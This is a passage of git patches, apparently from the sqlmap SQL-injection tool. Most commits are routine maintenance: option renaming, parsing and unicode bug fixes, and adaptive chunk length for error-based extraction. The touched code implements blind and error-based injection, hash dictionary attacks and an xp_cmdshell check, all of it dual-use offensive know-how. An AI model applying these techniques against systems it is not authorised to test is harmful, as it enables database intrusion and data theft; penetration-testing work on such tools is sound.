lib.core.settings import DUMMY_URL +from lib.core.settings import IGNORE_SAVE_OPTIONS from lib.core.settings import INJECT_HERE_MARK from lib.core.settings import IS_WIN from lib.core.settings import KB_CHARS_BOUNDARY_CHAR @@ -1995,6 +1996,9 @@ def _saveCmdline(): if datatype and isListLike(datatype): datatype = datatype[0] + if option in IGNORE_SAVE_OPTIONS: + value = None + if value is None: if datatype == OPTION_TYPE.BOOLEAN: value = "False" diff --git a/lib/core/settings.py b/lib/core/settings.py index 325855514..d92e443d4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -386,6 +386,9 @@ CODECS_LIST_PAGE = "http://docs.python.org/library/codecs.html#standard-encoding # Simple regular expression used to distinguish scalar from multiple-row commands (not sole condition) SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\(" +# Option/switch values to ignore during configuration save +IGNORE_SAVE_OPTIONS = ("saveCmdline",) + # IP address of the localhost LOCALHOST = "127.0.0.1" From 9adefb3ffd11a7e226f89093fc42004c20a4d83e Mon Sep 17 00:00:00 2001 From: flsf Date: Fri, 14 Aug 2015 16:18:51 +0800 Subject: [PATCH 60/88] Minor change --- lib/utils/google.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/utils/google.py b/lib/utils/google.py index b12de7ced..e0f4b08bd 100644 --- a/lib/utils/google.py +++ b/lib/utils/google.py @@ -31,7 +31,7 @@ from lib.request.httpshandler import HTTPSHandler class Google(object): """ This class defines methods used to perform Google dorking (command - line option '-g ' + line option '-g ') """ def __init__(self, handlers): From b010fda695a1d51e48077ab6222104bf4f8133c2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 14 Aug 2015 22:49:32 +0200 Subject: [PATCH 61/88] Switch --save becomes an option (taking file path where to save config file) --- lib/core/common.py | 1 - lib/core/option.py | 18 +++++++++--------- lib/core/optiondict.py | 2 +- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +-- 5 files changed, 12 insertions(+), 14 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index b72066c64..793d42ad7 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1112,7 +1112,6 @@ def setPaths(): paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst") paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst") paths.GITHUB_HISTORY = os.path.join(_, "github.hst") - paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr()) paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') diff --git a/lib/core/option.py b/lib/core/option.py index 52ffeeb46..5b51c4792 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1964,16 +1964,16 @@ def _useWizardInterface(): dataToStdout("\nsqlmap is running, please wait..\n\n") -def _saveCmdline(): +def _saveConfig(): """ - Saves the command line options on a sqlmap configuration INI file + Saves the command line options to a sqlmap configuration INI file Format. """ - if not conf.saveCmdline: + if not conf.saveConfig: return - debugMsg = "saving command line options on a sqlmap configuration INI file" + debugMsg = "saving command line options to a sqlmap configuration INI file" logger.debug(debugMsg) config = UnicodeRawConfigParser() @@ -1997,7 +1997,7 @@ def _saveCmdline(): datatype = datatype[0] if option in IGNORE_SAVE_OPTIONS: - value = None + continue if value is None: if datatype == OPTION_TYPE.BOOLEAN: @@ -2015,16 +2015,16 @@ def _saveCmdline(): config.set(family, option, value) - confFP = openFile(paths.SQLMAP_CONFIG, "wb") + confFP = openFile(conf.saveConfig, "wb") try: config.write(confFP) except IOError, ex: errMsg = "something went wrong while trying " - errMsg += "to write to the configuration file '%s' ('%s')" % (paths.SQLMAP_CONFIG, ex) + errMsg += "to write to the configuration file '%s' ('%s')" % (conf.saveConfig, ex) raise SqlmapSystemException(errMsg) - infoMsg = "saved command line options to the configuration file '%s'" % paths.SQLMAP_CONFIG + infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig logger.info(infoMsg) def setVerbosity(): @@ -2479,7 +2479,7 @@ def init(): _useWizardInterface() setVerbosity() - _saveCmdline() + _saveConfig() _setRequestFromFile() _cleanupOptions() _dirtyPatches() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index b9adbd67b..0445ccb09 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -202,7 +202,7 @@ optDict = { "outputDir": "string", "parseErrors": "boolean", "pivotColumn": "string", - "saveCmdline": "boolean", + "saveConfig": "string", "scope": "string", "testFilter": "string", "updateAll": "boolean", diff --git a/lib/core/settings.py b/lib/core/settings.py index d92e443d4..22b0cf3bc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -387,7 +387,7 @@ CODECS_LIST_PAGE = "http://docs.python.org/library/codecs.html#standard-encoding SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\(" # Option/switch values to ignore during configuration save -IGNORE_SAVE_OPTIONS = ("saveCmdline",) +IGNORE_SAVE_OPTIONS = ("saveConfig",) # IP address of the localhost LOCALHOST = "127.0.0.1" diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 154c5d7e3..f6d8eb852 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -662,8 +662,7 @@ def cmdLineParser(): general.add_option("--pivot-column", dest="pivotColumn", help="Pivot column name") - general.add_option("--save", dest="saveCmdline", - action="store_true", + general.add_option("--save", dest="saveConfig", help="Save options to a configuration INI file") general.add_option("--scope", dest="scope", From 310d79b8f14bb76393c6abedae9d64cc8e4f711d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 14 Aug 2015 23:29:31 +0200 Subject: [PATCH 62/88] Adding special variable 'lastPage' to the eval code (by request from ML) --- lib/core/threads.py | 1 + lib/request/connect.py | 3 ++- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/threads.py b/lib/core/threads.py index 8647ecfd0..7a1f8d0f3 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -47,6 +47,7 @@ class _ThreadData(threading.local): self.lastHTTPError = None self.lastRedirectMsg = None self.lastQueryDuration = 0 + self.lastPage = None self.lastRequestMsg = None self.lastRequestUID = 0 self.lastRedirectURL = None diff --git a/lib/request/connect.py b/lib/request/connect.py index 8914e6cb0..26039a92f 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -889,7 +889,7 @@ class Connect(object): if conf.evalCode: delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER - variables = {"uri": uri} + variables = {"uri": uri, "lastPage": threadData.lastPage} originals = {} keywords = keyword.kwlist @@ -1064,6 +1064,7 @@ class Connect(object): page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) + threadData.lastPage = page kb.originalCode = kb.originalCode or code From 713d5384bc4946eb3939cd2135ea3f7733437505 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 16 Aug 2015 23:15:04 +0200 Subject: [PATCH 63/88] Potential patch for an Issue #1337 --- lib/core/common.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 793d42ad7..83eea703f 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2280,8 +2280,10 @@ def findMultipartPostBoundary(post): candidates = [] for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""): - _ = match.group(1).strip().strip('-') - if _ in done: + _ = re.search(r"\w+", match.group(1)) + _ = _.group(0) if _ else None + + if _ is None or _ in done: continue else: candidates.append((post.count(_), _)) From c9d1c4d7b18de1e3c5e85091ee42235081afa4f5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 16 Aug 2015 23:29:39 +0200 Subject: [PATCH 64/88] Fixes #1337 --- lib/core/common.py | 5 ++--- lib/core/option.py | 1 + 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 83eea703f..a12bd8d35 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2280,10 +2280,9 @@ def findMultipartPostBoundary(post): candidates = [] for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""): - _ = re.search(r"\w+", match.group(1)) - _ = _.group(0) if _ else None + _ = match.group(1).strip().strip('-') - if _ is None or _ in done: + if _ in done: continue else: candidates.append((post.count(_), _)) diff --git a/lib/core/option.py b/lib/core/option.py index 5b51c4792..fb3abe86d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -314,6 +314,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): # Headers elif re.search(r"\A\S+: ", line): key, value = line.split(": ", 1) + value = value.replace("\r", "").replace("\n", "") # Cookie and Host headers if key.upper() == HTTP_HEADER.COOKIE.upper(): From 023def32031c63f395ea6b89175cca6531c349ab Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 16 Aug 2015 23:47:11 +0200 Subject: [PATCH 65/88] Fixes #1336 --- lib/techniques/blind/inference.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 5419bd9cb..e61b65154 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -212,7 +212,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None return not result - def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None): + def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 @@ -310,7 +310,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None kb.originalTimeDelay = conf.timeSec kb.timeValidCharsRun = 0 - if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS: + if retried < MAX_TIME_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) @@ -324,7 +324,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO - return getChar(idx, originalTbl, continuousOrder, expand, shiftTable) + return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) From 54d65328bc52ffb1cfec6f05943712f3c60a1276 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 18 Aug 2015 03:09:01 +0200 Subject: [PATCH 66/88] Patch for negative logic (e.g. OR) cases (reported privately) --- lib/request/comparison.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 0cfb53957..b3d76ea27 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -77,7 +77,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength): if page: # In case of an DBMS error page return None - if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()): + if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic: return None # Dynamic content lines to be excluded before comparison @@ -165,6 +165,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength): elif ratio > UPPER_RATIO_BOUND: return True + elif ratio < LOWER_RATIO_BOUND: + return False + elif kb.matchRatio is None: return None From 8806ce72c1078e328bb8115413c2d8a0051addb1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 18 Aug 2015 22:03:42 +0200 Subject: [PATCH 67/88] Patch for an Issue #1341 --- lib/core/option.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index fb3abe86d..57628db2a 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2063,7 +2063,12 @@ def _mergeOptions(inputOptions, overrideOptions): """ if inputOptions.pickledOptions: - inputOptions = base64unpickle(inputOptions.pickledOptions) + try: + inputOptions = base64unpickle(inputOptions.pickledOptions) + except Exception, ex: + errMsg = "provided invalid value '%s' for option '--pickled-options'" % inputOptions.pickledOptions + errMsg += " ('%s')" % ex.message if ex.message else "" + raise SqlmapSyntaxException(errMsg) if inputOptions.configFile: configFileParser(inputOptions.configFile) From 383316fcb35328f5867565a2dd9024f8b7cde3bf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 18 Aug 2015 22:48:55 +0200 Subject: [PATCH 68/88] Fixing issues caused by 9ad1d122f44b91fcfc9db414506526d59b5c7b31 (better approach) --- lib/core/option.py | 2 +- lib/core/target.py | 6 +++++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 57628db2a..ad45bb3f7 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1848,7 +1848,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.permissionFlag = False kb.postHint = None kb.postSpaceToPlus = False - kb.postUrlEncode = False + kb.postUrlEncode = True kb.prependFlag = False kb.processResponseCounter = 0 kb.previousMethod = None diff --git a/lib/core/target.py b/lib/core/target.py index 722244944..1c35b3515 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -134,6 +134,7 @@ def _setRequestParams(): if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): + conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data) @@ -152,6 +153,7 @@ def _setRequestParams(): if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): + conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = re.sub(r"('(?P[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % CUSTOM_INJECTION_MARK_CHAR), conf.data) conf.data = re.sub(r"('(?P[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data) @@ -175,6 +177,7 @@ def _setRequestParams(): if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): + conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = re.sub(r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML @@ -186,6 +189,7 @@ def _setRequestParams(): if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): + conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P[^\n]+?)[\"']).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) kb.postHint = POST_HINT.MULTIPART @@ -683,7 +687,7 @@ def initTargetEnv(): class _(unicode): pass - kb.postUrlEncode = False + kb.postUrlEncode = True for key, value in conf.httpHeaders: if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper(): From f609158d1b25c5996da7bbcd86ce1aa7d3a1454c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 19 Aug 2015 21:00:16 +0200 Subject: [PATCH 69/88] Adding new error message (when short options carry illegal '=') --- lib/parse/cmdline.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index f6d8eb852..2ad597188 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -867,6 +867,8 @@ def cmdLineParser(): for i in xrange(len(argv)): if argv[i] == "-hh": argv[i] = "-h" + elif re.search(r"\A-\w=.+", argv[i]): + print "[!] potentially miswritten (illegal '=') short option detected ('%s')" % argv[i] elif argv[i] == "-H": if i + 1 < len(argv): extraHeaders.append(argv[i + 1]) From 3ebb3e6f4f5df3fe234e394e6acce77f40a99d50 Mon Sep 17 00:00:00 2001 From: KingX Date: Sat, 22 Aug 2015 14:05:03 +0800 Subject: [PATCH 70/88] fix removeDynamicContent bug double re.escape() in "findDynamicContent" function and "removeDynamicContent" function leads an bug in finding dynamic content, --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index a12bd8d35..18b78e05d 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2580,7 +2580,7 @@ def findDynamicContent(firstPage, secondPage): prefix = trimAlphaNum(prefix) suffix = trimAlphaNum(suffix) - kb.dynamicMarkings.append((re.escape(prefix[-DYNAMICITY_MARK_LENGTH / 2:]) if prefix else None, re.escape(suffix[:DYNAMICITY_MARK_LENGTH / 2]) if suffix else None)) + kb.dynamicMarkings.append((prefix[-DYNAMICITY_MARK_LENGTH / 2:] if prefix else None, suffix[:DYNAMICITY_MARK_LENGTH / 2] if suffix else None)) if len(kb.dynamicMarkings) > 0: infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '') From fef8f20565be2ea2912cbea6cfddbd7a51dc76fe Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 23 Aug 2015 20:27:01 +0200 Subject: [PATCH 71/88] Minor reporting patch --- lib/utils/hash.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 69994d23e..87ae8d411 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -668,8 +668,9 @@ def dictionaryAttack(attack_dict): hash_regexes = [] results = [] resumes = [] - processException = False user_hash = [] + processException = False + foundHash = False for (_, hashes) in attack_dict.items(): for hash_ in hashes: @@ -693,6 +694,7 @@ def dictionaryAttack(attack_dict): if not hash_: continue + foundHash = True hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if re.match(hash_regex, hash_): @@ -955,9 +957,8 @@ def dictionaryAttack(attack_dict): results.extend(resumes) - if len(hash_regexes) == 0: - warnMsg = "unknown hash format. " - warnMsg += "Please report by e-mail to 'dev@sqlmap.org'" + if foundHash and len(hash_regexes) == 0: + warnMsg = "unknown hash format" logger.warn(warnMsg) if len(results) == 0: From 1204141278baf0ce9297fdcdb84ceaa09da30169 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 23 Aug 2015 21:09:20 +0200 Subject: [PATCH 72/88] Fixes #1350 --- lib/core/common.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 18b78e05d..5f2a0a95a 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3470,8 +3470,13 @@ def asciifyUrl(url, forceQuote=False): netloc = ':' + password + netloc netloc = username + netloc - if parts.port: - netloc += ':' + str(parts.port) + try: + port = parts.port + except: + port = None + + if port: + netloc += ':' + str(port) return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) From 9fb0eb3dd73d5e5414aa24634903b44b7f72a3c9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 23 Aug 2015 21:41:59 +0200 Subject: [PATCH 73/88] Blank removal --- lib/core/common.py | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 5f2a0a95a..42d983c2b 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3027,7 +3027,6 @@ def maskSensitiveData(msg): if match: retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) - if getpass.getuser(): retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), "*" * len(getpass.getuser()), retVal) From 690347a170a1dedbfd0839c783de4abedd3db96c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 23 Aug 2015 21:48:31 +0200 Subject: [PATCH 74/88] Bug fix (non-ASCII chars in command line caused gibberish in unhandled messages) --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 42d983c2b..10012713e 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2941,7 +2941,7 @@ def unhandledExceptionMessage(): errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % PLATFORM - errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", " ".join(sys.argv)) + errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding)) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms()) From 337eb9861a8fffcd1b5e718f113a20d0c65fa7ba Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 23 Aug 2015 22:11:59 +0200 Subject: [PATCH 75/88] Fixes #1347 --- lib/core/common.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 10012713e..a72c7cd75 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1583,9 +1583,10 @@ def safeExpandUser(filepath): try: retVal = os.path.expanduser(filepath) - except UnicodeDecodeError: + except UnicodeError: _ = locale.getdefaultlocale() - retVal = getUnicode(os.path.expanduser(filepath.encode(_[1] if _ and len(_) > 1 else UNICODE_ENCODING))) + encoding = _[1] if _ and len(_) > 1 else UNICODE_ENCODING + retVal = getUnicode(os.path.expanduser(filepath.encode(encoding)), encoding=encoding) return retVal @@ -2115,7 +2116,7 @@ def getUnicode(value, encoding=None, noneToNull=False): elif isinstance(value, basestring): while True: try: - return unicode(value, encoding or kb.get("pageEncoding") or UNICODE_ENCODING) + return unicode(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) except UnicodeDecodeError, ex: try: return unicode(value, UNICODE_ENCODING) From 76c8ce0e702043ed079a8bbea4ba5b32dc62cc7e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 23 Aug 2015 22:54:08 +0200 Subject: [PATCH 76/88] More flexible --sql-file --- plugins/generic/custom.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 2871d90c4..8362a4948 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -120,9 +120,12 @@ class Custom: if not sfile: continue - query = getSQLSnippet(Backend.getDbms(), sfile) + snippet = getSQLSnippet(Backend.getDbms(), sfile) - infoMsg = "executing SQL statement%s from file '%s'" % ("s" if ";" in query else "", sfile) - logger.info(infoMsg) - - conf.dumper.query(query, self.sqlQuery(query)) + if snippet and all(query.strip().upper().startswith("SELECT") for query in filter(None, snippet.split(';' if ';' in snippet else '\n'))): + for query in filter(None, snippet.split(';' if ';' in snippet else '\n')): + query = query.strip() + if query: + conf.dumper.query(query, self.sqlQuery(query)) + else: + conf.dumper.query(snippet, self.sqlQuery(snippet)) From 1f5e6606a72092e39ec7f23d7be8eab7f0328406 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 25 Aug 2015 02:03:56 +0200 Subject: [PATCH 77/88] Fixes #1357 --- lib/request/connect.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 26039a92f..63bb1ba22 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -893,7 +893,12 @@ class Connect(object): originals = {} keywords = keyword.kwlist - for item in filter(None, (get, post if not kb.postHint else None)): + if not get and PLACE.URI in conf.parameters: + query = urlparse.urlsplit(uri).query or "" + else: + query = None + + for item in filter(None, (get, post if not kb.postHint else None, query)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) @@ -956,6 +961,10 @@ class Connect(object): found = True post = re.sub(regex, "\g<1>%s\g<3>" % value, post) + if re.search(regex, (query or "")): + found = True + uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value, uri) + regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True From 2c2f83f67bd608d57cb43cb1fc428f8b9b750438 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 26 Aug 2015 11:30:48 +0200 Subject: [PATCH 78/88] Minor code consistency patch --- lib/techniques/error/use.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 813a764c2..a647d89f2 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -64,11 +64,11 @@ def _oneShotErrorUse(expression, field=None): threadData.resumed = retVal is not None and not partialValue if Backend.isDbms(DBMS.MYSQL): - chunk_length = MYSQL_ERROR_CHUNK_LENGTH + chunkLength = MYSQL_ERROR_CHUNK_LENGTH elif Backend.isDbms(DBMS.MSSQL): - chunk_length = MSSQL_ERROR_CHUNK_LENGTH + chunkLength = MSSQL_ERROR_CHUNK_LENGTH else: - chunk_length = None + chunkLength = None if retVal is None or partialValue: try: @@ -84,7 +84,7 @@ def _oneShotErrorUse(expression, field=None): if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) field = extendedField - nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) + nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunkLength) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector @@ -146,8 +146,8 @@ def _oneShotErrorUse(expression, field=None): else: retVal += output if output else '' - if output and len(output) >= chunk_length: - offset += chunk_length + if output and len(output) >= chunkLength: + offset += chunkLength else: break From a33b0454cdb6db90dc6e848be23b063ab5f5ce22 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 26 Aug 2015 15:26:16 +0200 Subject: [PATCH 79/88] Implementation for an Issue #1360 --- lib/core/enums.py | 1 + lib/core/option.py | 1 + lib/core/settings.py | 8 +++--- lib/core/target.py | 10 +++++-- lib/techniques/error/use.py | 52 +++++++++++++++++++++++++------------ 5 files changed, 49 insertions(+), 23 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index cb1b7b36f..1ba4b8185 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -197,6 +197,7 @@ class HASHDB_KEYS: KB_CHARS = "KB_CHARS" KB_DYNAMIC_MARKINGS = "KB_DYNAMIC_MARKINGS" KB_INJECTIONS = "KB_INJECTIONS" + KB_ERROR_CHUNK_LENGTH = "KB_ERROR_CHUNK_LENGTH" KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE" OS = "OS" diff --git a/lib/core/option.py b/lib/core/option.py index ad45bb3f7..b4f9faea1 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1792,6 +1792,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.endDetection = False kb.explicitSettings = set() kb.extendTests = None + kb.errorChunkLength = None kb.errorIsNone = True kb.fileReadMode = False kb.followSitemapRecursion = None diff --git a/lib/core/settings.py b/lib/core/settings.py index 22b0cf3bc..2457770d1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -323,11 +323,11 @@ CUSTOM_INJECTION_MARK_CHAR = '*' # Other way to declare injection position INJECT_HERE_MARK = '%INJECT HERE%' -# Maximum length used for retrieving data over MySQL error based payload due to "known" problems with longer result strings -MYSQL_ERROR_CHUNK_LENGTH = 50 +# Minimum chunk length used for retrieving data over error based payloads +MIN_ERROR_CHUNK_LENGTH = 8 -# Maximum length used for retrieving data over MSSQL error based payload due to trimming problems with longer result strings -MSSQL_ERROR_CHUNK_LENGTH = 100 +# Maximum chunk length used for retrieving data over error based payloads +MAX_ERROR_CHUNK_LENGTH = 1024 # Do not escape the injected statement if it contains any of the following SQL keywords EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE 